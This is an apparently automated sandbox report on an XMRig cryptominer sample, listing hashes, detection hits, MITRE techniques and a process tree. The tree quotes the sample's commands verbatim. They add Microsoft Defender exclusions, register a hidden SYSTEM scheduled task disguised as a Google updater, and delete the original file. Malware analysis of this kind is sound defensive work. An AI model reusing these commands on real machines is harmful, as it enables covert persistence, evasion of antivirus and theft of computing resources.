xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
371s
max time network
1797s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 11:19

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3016 created 1208	3016	qM5GMXBk6hJE6Y5e (23).exe	22
PID 3016 created 1208	3016	qM5GMXBk6hJE6Y5e (23).exe	22
PID 3016 created 1208	3016	qM5GMXBk6hJE6Y5e (23).exe	22
PID 3016 created 1208	3016	qM5GMXBk6hJE6Y5e (23).exe	22
PID 2888 created 1208	2888	updater.exe	22
PID 2888 created 1208	2888	updater.exe	22
PID 2888 created 1208	2888	updater.exe	22
PID 2888 created 1208	2888	updater.exe	22
PID 1360 created 1208	1360	conhost.exe	22
PID 2888 created 1208	2888	updater.exe	22

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral17/memory/2408-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2408-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2616	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2888	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
876	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral17/memory/2408-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2408-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2888 set thread context of 1360	2888	updater.exe	52
PID 2888 set thread context of 2408	2888	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (23).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1388	schtasks.exe
520	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1816	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90e51ac11751da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3016	qM5GMXBk6hJE6Y5e (23).exe
3016	qM5GMXBk6hJE6Y5e (23).exe
3056	powershell.exe
3016	qM5GMXBk6hJE6Y5e (23).exe
3016	qM5GMXBk6hJE6Y5e (23).exe
1320	powershell.exe
3016	qM5GMXBk6hJE6Y5e (23).exe
3016	qM5GMXBk6hJE6Y5e (23).exe
3016	qM5GMXBk6hJE6Y5e (23).exe
3016	qM5GMXBk6hJE6Y5e (23).exe
2608	powershell.exe
2888	updater.exe
2888	updater.exe
1020	powershell.exe
2888	updater.exe
2888	updater.exe
1948	powershell.exe
2888	updater.exe
2888	updater.exe
2888	updater.exe
2888	updater.exe
1360	conhost.exe
1360	conhost.exe
2888	updater.exe
2888	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	2888	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1816	WMIC.exe
Token: SeSecurityPrivilege	1816	WMIC.exe
Token: SeTakeOwnershipPrivilege	1816	WMIC.exe
Token: SeLoadDriverPrivilege	1816	WMIC.exe
Token: SeSystemtimePrivilege	1816	WMIC.exe
Token: SeBackupPrivilege	1816	WMIC.exe
Token: SeRestorePrivilege	1816	WMIC.exe
Token: SeShutdownPrivilege	1816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1816	WMIC.exe
Token: SeUndockPrivilege	1816	WMIC.exe
Token: SeManageVolumePrivilege	1816	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1816	WMIC.exe
Token: SeSecurityPrivilege	1816	WMIC.exe
Token: SeTakeOwnershipPrivilege	1816	WMIC.exe
Token: SeLoadDriverPrivilege	1816	WMIC.exe
Token: SeSystemtimePrivilege	1816	WMIC.exe
Token: SeBackupPrivilege	1816	WMIC.exe
Token: SeRestorePrivilege	1816	WMIC.exe
Token: SeShutdownPrivilege	1816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1816	WMIC.exe
Token: SeUndockPrivilege	1816	WMIC.exe
Token: SeManageVolumePrivilege	1816	WMIC.exe
Token: SeLockMemoryPrivilege	2408	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 1388	1320	powershell.exe	32
PID 1320 wrote to memory of 1388	1320	powershell.exe	32
PID 1320 wrote to memory of 1388	1320	powershell.exe	32
PID 2616 wrote to memory of 2720	2616	cmd.exe	37
PID 2616 wrote to memory of 2720	2616	cmd.exe	37
PID 2616 wrote to memory of 2720	2616	cmd.exe	37
PID 2608 wrote to memory of 1088	2608	powershell.exe	38
PID 2608 wrote to memory of 1088	2608	powershell.exe	38
PID 2608 wrote to memory of 1088	2608	powershell.exe	38
PID 876 wrote to memory of 2888	876	taskeng.exe	40
PID 876 wrote to memory of 2888	876	taskeng.exe	40
PID 876 wrote to memory of 2888	876	taskeng.exe	40
PID 1948 wrote to memory of 520	1948	powershell.exe	45
PID 1948 wrote to memory of 520	1948	powershell.exe	45
PID 1948 wrote to memory of 520	1948	powershell.exe	45
PID 2888 wrote to memory of 1360	2888	updater.exe	52
PID 1636 wrote to memory of 1816	1636	cmd.exe	53
PID 1636 wrote to memory of 1816	1636	cmd.exe	53
PID 1636 wrote to memory of 1816	1636	cmd.exe	53
PID 2888 wrote to memory of 2408	2888	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (23).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (23).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1388
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (23).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:520
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1476
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1360
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2408

C:\Windows\system32\taskeng.exe
taskeng.exe {CE3310B7-FA2A-449B-A737-972AFF5838F5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:876
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
4dcfd181f4620bf249ee9fd53606e360

SHA1
967968addd7dfe2f44d001de4076d1328cbb8501

SHA256
dd5e94a66f6d2ff8e04a7b6214edd2d2d9a54a85f0f88658a8928a76b12d750e

SHA512
c94b2dfc1562af28d9d283322f8aaf0f6e9852cb81f65fb580dce34480581c6d81086aaa2da5bd80805832fac7c2cae74c1253e3657b31d605d567e158153fd6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
6aedf5c39b6f99995271a170317bf051

SHA1
f97605d2cd6daac9f655c8f5168724a214ea33ff

SHA256
bd94bf80af21d57b70452e95c7a536465c32ce1420d661dfa9e979b885cc2992

SHA512
e5c6b11fc49fb6f0bf65a8ca356bb8fb11bcbb841e090b1c89bd6ee1665b936b7aecbcac14496665f30be17362ef7ea88b8ab6b4ea5e384f3c3243b3f2720212

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8dc29f34d7c37fe59b2ab51594bab87e

SHA1
142031ef71f76ec01eff28b2b7aea4d3d2b5ca43

SHA256
7006cc134ea439f1ce71712bcc133b654c101e1a241faf6efe6b1e8e91d504f5

SHA512
641e5249e3b005c4fcba1aa0fdf9e774cd6aa66aec6ecc3a041efe7a19e4f56dd544bf9259dab652f488879ecac63330dc3c26b7561b2ff1974fa525083fcf78

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1020-49-0x0000000000960000-0x00000000009E0000-memory.dmp

Filesize
512KB

Download
memory/1020-50-0x0000000000960000-0x00000000009E0000-memory.dmp

Filesize
512KB

Download
memory/1020-46-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/1020-47-0x0000000000960000-0x00000000009E0000-memory.dmp

Filesize
512KB

Download
memory/1020-48-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/1020-51-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/1320-21-0x0000000002260000-0x0000000002268000-memory.dmp

Filesize
32KB

Download
memory/1320-20-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/1320-22-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/1320-23-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/1320-24-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/1320-25-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/1320-26-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/1320-27-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/1320-19-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/1360-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1360-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1948-56-0x00000000011C0000-0x0000000001240000-memory.dmp

Filesize
512KB

Download
memory/1948-52-0x000007FEF5C10000-0x000007FEF65AD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-53-0x00000000011C0000-0x0000000001240000-memory.dmp

Filesize
512KB

Download
memory/1948-54-0x000007FEF5C10000-0x000007FEF65AD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-55-0x00000000011C0000-0x0000000001240000-memory.dmp

Filesize
512KB

Download
memory/1948-57-0x00000000011C0000-0x0000000001240000-memory.dmp

Filesize
512KB

Download
memory/1948-58-0x000007FEF5C10000-0x000007FEF65AD000-memory.dmp

Filesize
9.6MB

Download
memory/2408-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-66-0x00000000002C0000-0x00000000002E0000-memory.dmp

Filesize
128KB

Download
memory/2408-68-0x0000000000540000-0x0000000000560000-memory.dmp

Filesize
128KB

Download
memory/2408-69-0x00000000008D0000-0x00000000008F0000-memory.dmp

Filesize
128KB

Download
memory/2408-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-76-0x0000000000540000-0x0000000000560000-memory.dmp

Filesize
128KB

Download
memory/2408-77-0x00000000008D0000-0x00000000008F0000-memory.dmp

Filesize
128KB

Download
memory/2408-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
